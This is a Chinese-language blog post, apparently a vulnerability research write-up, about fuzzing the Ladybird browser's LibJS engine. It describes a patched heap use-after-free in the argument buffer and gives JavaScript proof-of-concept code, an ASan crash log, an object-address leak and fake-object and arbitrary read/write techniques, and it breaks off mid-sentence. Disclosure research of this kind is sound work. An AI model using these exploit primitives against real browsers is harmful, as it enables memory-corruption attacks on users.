Jess's Cafe

Home Posts GPG

攻破 Ladybird 浏览器

2025 年 4 月 23 日

引言

Ladybird 是一个相对较新的浏览器引擎,起源于 SerenityOS project。目前,它还处于 pre-alpha 阶段,但发展迅速。请查看网站和 GitHub 了解更多信息!

我将研究 Ladybird 的 JavaScript 引擎,LibJS

架构

LibJS 只有一个解释器层,没有编译层(目前!)。它包含了常见的现代 JS 引擎优化,并且在关键代码路径和数据结构(包括 vectors)上构建了广泛的验证检查,使得诸如整数溢出导致越界访问之类的场景更难利用。

Fuzzing

我们将使用 Fuzzilli,这是一款流行的 JavaScript 解释器模糊测试工具。以下是来自 GitHub 的描述:

一款(覆盖率)引导的模糊测试工具,适用于基于自定义中间语言 ("FuzzIL") 的动态语言解释器,该语言可以被修改并翻译成 JavaScript。- Fuzzilli

Fuzzilli 可以配置额外的代码生成器,这些生成器可以专门用于触发特定漏洞。LibJS 没有被积极地进行 OSS-fuzzing,所以我没有添加任何自定义生成器,希望周围存在足够的浅层漏洞。LibJS 中已经存在一些持久的模糊测试代码。经过一些工作后——比如需要编译和链接 Skia 与 RTTI (Nix 💜),修复一些构建脚本,以及使用额外的 profile 编译 Fuzzilli(同样,Nix 在这方面很棒)——我让这一切都运转起来了!

我运行了模糊测试器约 10 天,发现了 10 个独特的崩溃。很多漏洞都很无聊:

有一些漏洞更有趣:

最初,我以为 regex 漏洞是一个整数溢出……不幸的是,它不是。TypedArray 中真正的整数溢出看起来很有希望——但由于所有保护 vectors 免受不良访问的边界检查,它似乎很难利用。

有三个漏洞看起来非常好:一个堆缓冲区溢出,垃圾收集器中的 freelist 损坏(或 UAF),以及 malloc 堆中的堆 use-after-free (UAF)。但不幸的是,只有最后一个 UAF 可以在 Fuzzilli 之外重现。我仍然不确定为什么其他的没有重现。This 是堆缓冲区溢出的崩溃报告,this 是 freelist 损坏的崩溃报告,如果你感兴趣的话。

漏洞

一个有漏洞的函数

该漏洞是解释器的参数缓冲区上的 use-after-free (UAF)。它通过使用 proxied function object 作为构造函数,以及恶意的 [[Get]] handler 来触发。

考虑以下 JavaScript:

function Construct() {}
new Construct();

语义概述 here

这是它在 Ladybird 中的实现方式:

// 10.2.2 [[Construct]] ( argumentsList, newTarget )
ThrowCompletionOr<GC::Ref<Object>> ECMAScriptFunctionObject::internal_construct(
  ReadonlySpan<Value> arguments_list, // [1]
  FunctionObject& new_target
) {
  auto& vm = this->vm();
  // 1. Let callerContext be the running execution context.
  // NOTE: No-op, kept by the VM in its execution context stack.
  // 2. Let kind be F.[[ConstructorKind]].
  auto kind = m_constructor_kind;
  GC::Ptr<Object> this_argument;
  // 3. If kind is base, then
  if (kind == ConstructorKind::Base) {
    // [2]
    // a. Let thisArgument be ? OrdinaryCreateFromConstructor(newTarget, "%Object.prototype%").
    this_argument = TRY(ordinary_create_from_constructor<Object>(
      vm,
      new_target,
      &Intrinsics::object_prototype,
      ConstructWithPrototypeTag::Tag
    ));
  }
  auto callee_context = ExecutionContext::create();
  // [3]
  // Non-standard
  callee_context->arguments.ensure_capacity(max(arguments_list.size(), m_formal_parameters.size()));
  callee_context->arguments.append(arguments_list.data(), arguments_list.size());
  callee_context->passed_argument_count = arguments_list.size();
  if (arguments_list.size() < m_formal_parameters.size()) {
    for (size_t i = arguments_list.size(); i < m_formal_parameters.size(); ++i)
      callee_context->arguments.append(js_undefined());
  }
  // [3 cont.] ...

关键部分是:

如果在 [1] 和 [3] 之间的任何时刻 free()arguments_list 引用的 vector,那么 arguments_list 将悬空;当它用于函数调用时,会导致 use-after-free。

让我们看一下在 [2] 处调用的 ordinary_create_from_constructor

// 10.1.13 OrdinaryCreateFromConstructor ( constructor, intrinsicDefaultProto [ , internalSlotsList ] )
template<typename T, typename... Args>
ThrowCompletionOr<GC::Ref<T>> ordinary_create_from_constructor(
  VM& vm,
  FunctionObject const& constructor,
  GC::Ref<Object> (Intrinsics::*intrinsic_default_prototype)(),
  Args&&... args)
{
  auto& realm = *vm.current_realm();
  auto* prototype = TRY(get_prototype_from_constructor(vm, constructor, intrinsic_default_prototype));
  return realm.create<T>(forward<Args>(args)..., *prototype);
}

它执行以下操作:

这是一个简单的方法,但如果构造函数恰好是一个 proxy object,它可能会有副作用。如果我们覆盖构造函数函数的 [[Get]] 内部方法,则对 get_prototype_from_constructor 的调用可以执行任意 JavaScript 代码。如果我们可以让该代码释放参数缓冲区,这将非常有用。

参数缓冲区

解释器将函数调用的参数存储在一个名为 m_argument_values_buffer 的 vector 中。它可以增长、缩小、释放或重新分配——我们可以控制何时发生这种情况。例如,如果当前缓冲区包含 5 个 JS 值,并且我们运行:

foo(1, 2, 3, 4, 5, 6, 7, 8, 9, 10)

那么缓冲区将需要被释放并在某处重新分配,以便容纳 10 个 JS 值。使用这个,我们可以释放解释器的内部参数缓冲区——arguments_list _仍然_指向的同一个缓冲区——在它用于为后续的构造函数调用设置 callee_context 之前。

修复方法是在构建 callee context 之后严格执行 prototype [[Get]]Here’s the patch.

这是一个例子:

function Construct() {}
let handler = {
  get() {
    function meow() {}
    meow(0x41, 0x41, 0x41);
  }
};
let ConstructProxy = new Proxy(Construct, handler);
new ConstructProxy(0x41);

我们使用尝试重新分配参数缓冲区的函数覆盖 Construct[[Get]] 内部方法。然后我们调用构造函数来触发该漏洞。

➜ ladybird git:(b8fa355a21) ✗ js bug.js
=================================================================
==8726==ERROR: AddressSanitizer: heap-use-after-free on address 0x5020000038f0 at pc 0x7f98dd1bf19e bp 0x7ffcc8ee2ef0 sp 0x7ffcc8ee2ee8
READ of size 8 at 0x5020000038f0 thread T0
  #0 0x7f98dd1bf19d (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
  #1 0x7f98dd1bdf8f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbdf8f)
  #2 0x7f98dd22a555 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a555)
  #3 0x7f98dd539cdd (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
  #4 0x7f98dce78c0e (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
  #5 0x7f98dcdcdc0a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
  #6 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
  #7 0x7f98dcdb6971 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
  #8 0x562b5099e2a2 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
  #9 0x562b5099b114 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
  #10 0x562b509c1029 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
  #11 0x7f98dae2a1fd (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
  #12 0x7f98dae2a2b8 (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a2b8) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
  #13 0x562b5084ed14 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x42d14)
0x5020000038f0 is located 0 bytes inside of 16-byte region [0x5020000038f0,0x502000003900)
freed by thread T0 here:
  #0 0x562b50940bf8 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x134bf8)
  #1 0x7f98dcd39e1e (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739e1e)
  #2 0x7f98dcd3963d (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
  #3 0x7f98dce90c12 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
  #4 0x7f98dcdcd014 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cd014)
  #5 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
  #6 0x7f98dd228b7f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc28b7f)
  #7 0x7f98dd225cf6 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc25cf6)
  #8 0x7f98dd530b92 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf30b92)
  #9 0x7f98dd48e458 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xe8e458)
  #10 0x7f98dd09a76f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xa9a76f)
  #11 0x7f98dd232d4b (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc32d4b)
  #12 0x7f98dd22a381 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xc2a381)
  #13 0x7f98dd539cdd (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xf39cdd)
  #14 0x7f98dce78c0e (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x878c0e)
  #15 0x7f98dcdcdc0a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cdc0a)
  #16 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
  #17 0x7f98dcdb6971 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
  #18 0x562b5099e2a2 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
  #19 0x562b5099b114 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
  #20 0x562b509c1029 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
  #21 0x7f98dae2a1fd (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
previously allocated by thread T0 here:
  #0 0x562b50941bc7 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x135bc7)
  #1 0x7f98dcd39c7f (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x739c7f)
  #2 0x7f98dcd3963d (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x73963d)
  #3 0x7f98dce90c12 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x890c12)
  #4 0x7f98dcdcc161 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7cc161)
  #5 0x7f98dcdb818a (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b818a)
  #6 0x7f98dcdb6971 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0x7b6971)
  #7 0x562b5099e2a2 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1922a2)
  #8 0x562b5099b114 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x18f114)
  #9 0x562b509c1029 (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/js+0x1b5029)
  #10 0x7f98dae2a1fd (/nix/store/rmy663w9p7xb202rcln4jjzmvivznmz8-glibc-2.40-66/lib/libc.so.6+0x2a1fd) (BuildId: 7b6bfe7530bfe8e5a757e1a1f880ed511d5bfaad)
SUMMARY: AddressSanitizer: heap-use-after-free (/home/jess/code/ladybird-flake/ladybird/Build/old/bin/../lib64/liblagom-js.so.0+0xbbf19d)
Shadow bytes around the buggy address:
 0x502000003600: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa
 0x502000003680: fa fa 00 00 fa fa 00 fa fa fa 00 fa fa fa 00 fa
 0x502000003700: fa fa 00 fa fa fa fd fa fa fa fd fa fa fa 00 fa
 0x502000003780: fa fa 00 00 fa fa 00 fa fa fa 00 00 fa fa 00 00
 0x502000003800: fa fa fd fd fa fa fd fa fa fa 00 fa fa fa 00 fa
=>0x502000003880: fa fa 00 00 fa fa 00 00 fa fa 00 00 fa fa[fd]fd
 0x502000003900: fa fa 00 fa fa fa 00 fa fa fa 00 00 fa fa 00 fa
 0x502000003980: fa fa 00 fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000003a00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000003a80: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
 0x502000003b00: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
 Addressable:      00
 Partially addressable: 01 02 03 04 05 06 07
 Heap left redzone:    fa
 Freed heap region:    fd
 Stack left redzone:   f1
 Stack mid redzone:    f2
 Stack right redzone:   f3
 Stack after return:   f5
 Stack use after scope:  f8
 Global redzone:     f9
 Global init order:    f6
 Poisoned by user:    f7
 Container overflow:   fc
 Array cookie:      ac
 Intra object redzone:  bb
 ASan internal:      fe
 Left alloca redzone:   ca
 Right alloca redzone:  cb
==8726==ABORTING

利用

UAF 通常是很好的原始操作。在这种情况下,UAF 发生在 glibc malloc 堆中(因为参数缓冲区是在那里分配的),而不是在垃圾回收的 arena 中,很多对象实际上都驻留在其中。malloc 堆主要保存 backing buffers 等,在寻找用于泄漏的正确对象时引入了一些复杂性;尽管强大的 primitives 在某种程度上缓解了这一点。

泄漏一个对象

我们可以通过将指针放在旧的 arguments_list 分配中的某个位置,然后从构造函数内部读取 arguments 对象来创建一个 addrof-capability。

这是一个我们如何泄漏对象地址的示例:

let target = {};
let linked = new FinalizationRegistry(() => {});
function meow() {}
let handler = {
  get() {
    // [2]
    // allocate more than 0x30 to free the chunk
    meow(0x1, 0x2, 0x3, 0x4, 0x5, 0x6);
    // [3]
    // allocate the free'd chunk, with pointer to the target
    linked.register(target, undefined, undefined, undefined, undefined, undefined)
  }
};
function Construct() {
  // [4]
  // read the linked list node, containing the pointer
  console.log(arguments)
}
let ConstructProxy = new Proxy(Construct, handler);
// [1]
// allocate a 0x30 chunk
// 0x8 * 5 (js values) + 0x8 (malloc metadata) = 0x30
new ConstructProxy(0x1, 0x2, 0x3, 0x4, 0x5);

[3] 上的一系列 undefined 参数是为了确保 linked list node 被分配在我们的 free chunk 中,而不是任何 prelude allocations 中。

FinalizationRegistry 将带有对象指针的 linked list nodes 放置在 malloc 堆上,从而使它们成为泄漏的有用结构。运行该漏洞利用程序,如果我们重复几次,我们就会得到指针的双精度表示,它们会略有变化,受 ASLR 的影响。

➜ ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.9077829341497e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }
➜ ladybird git:(b8fa355a21) ✗ Build/old/bin/js arguments.js
ArgumentsObject{ "0": 6.8997364430636e-310, "1": undefined, "2": 0, "3": 0, "4": 5 }

而且,当我们 pack 成原始字节时,我们确实得到了指针!

>>> struct.pack("<d", 6.8997364430636e-310)[::-1].hex()
'00007f0350fc2118'

创建一个假对象

我们可以用类似的方式伪造一个 JavaScript 对象指针。我们在 arguments_list 中分配一个缓冲区,将我们的假对象指针写入其中,然后在构造函数中使用该假对象。还有一些额外的考虑因素:

除此之外,它非常相似;我们将在下一节中这样做。

任意读/写

对对象的动态属性查找由 get_by_value 函数处理,如下所示。如果 key 是一个索引 ([1]) 并且对象是 array-like ([2])(它有一个 m_indexed_properties 成员),那么该属性将从 m_indexed_properties 成员中获取。

inline ThrowCompletionOr<Value> get_by_value(
  VM& vm,
  Optional<IdentifierTableIndex> base_identifier,
  Value base_value,
  Value property_key_value,
  Executable const& executable
) {
  // [1]
  // OPTIMIZATION: Fast path for simple Int32 indexes in array-like objects.
  if (base_value.is_object() && property_key_value.is_int32() && property_key_value.as_i32() >= 0) {
    auto& object = base_value.as_object();
    auto index = static_cast<u32>(property_key_value.as_i32());
    auto const* object_storage = object.indexed_properties().storage();
    // [2]
    // For "non-typed arrays":
    if (!object.may_interfere_with_indexed_property_access()
      && object_storage) {
      auto maybe_value = [&] {
        // [3]
        if (object_storage->is_simple_storage())
          return static_cast<SimpleIndexedPropertyStorage const*>(object_storage)->inline_get(index);
        else
          return static_cast<GenericIndexedPropertyStorage const*>(object_storage)->get(index);
      }();
      if (maybe_value.has_value()) {
        auto value = maybe_value->value;
        if (!value.is_accessor())
          return value;
      }
    }
    // try some further optimizations, otherwise fallback to a generic `internal_get`
    ...

此外,如果存储类型为 SimpleIndexedPropertyStorage,则使用以下方法。

[[nodiscard]] Optional<ValueAndAttributes> inline_get(u32 index) const
{
  if (!inline_has_index(index))
    return {};
  return ValueAndAttributes { m_packed_elements.data()[index], default_attributes };
}

这使用我们的 offset 索引到 m_packed_elements vector 中。此代码路径(索引到一个具有 SimpleIndexedPropertyStorage 的 array-like 对象)不包含 virtual function calls,这意味着我们不需要给我们的假对象一个 vtable pointer——这很有用,因为我们不需要知道它的位置。

我们设置我们的假对象,使得 m_indexed_properties 指向一个假 SimpleIndexedPropertyStorage 对象,其 m_packed_elements 然后指向读取的位置。这比听起来更简单,因为所有这些结构都可以重叠在同一内存区域中。

对象布局图

现在我们已经将结构布局在内存中,剩下的就是确保:

在我们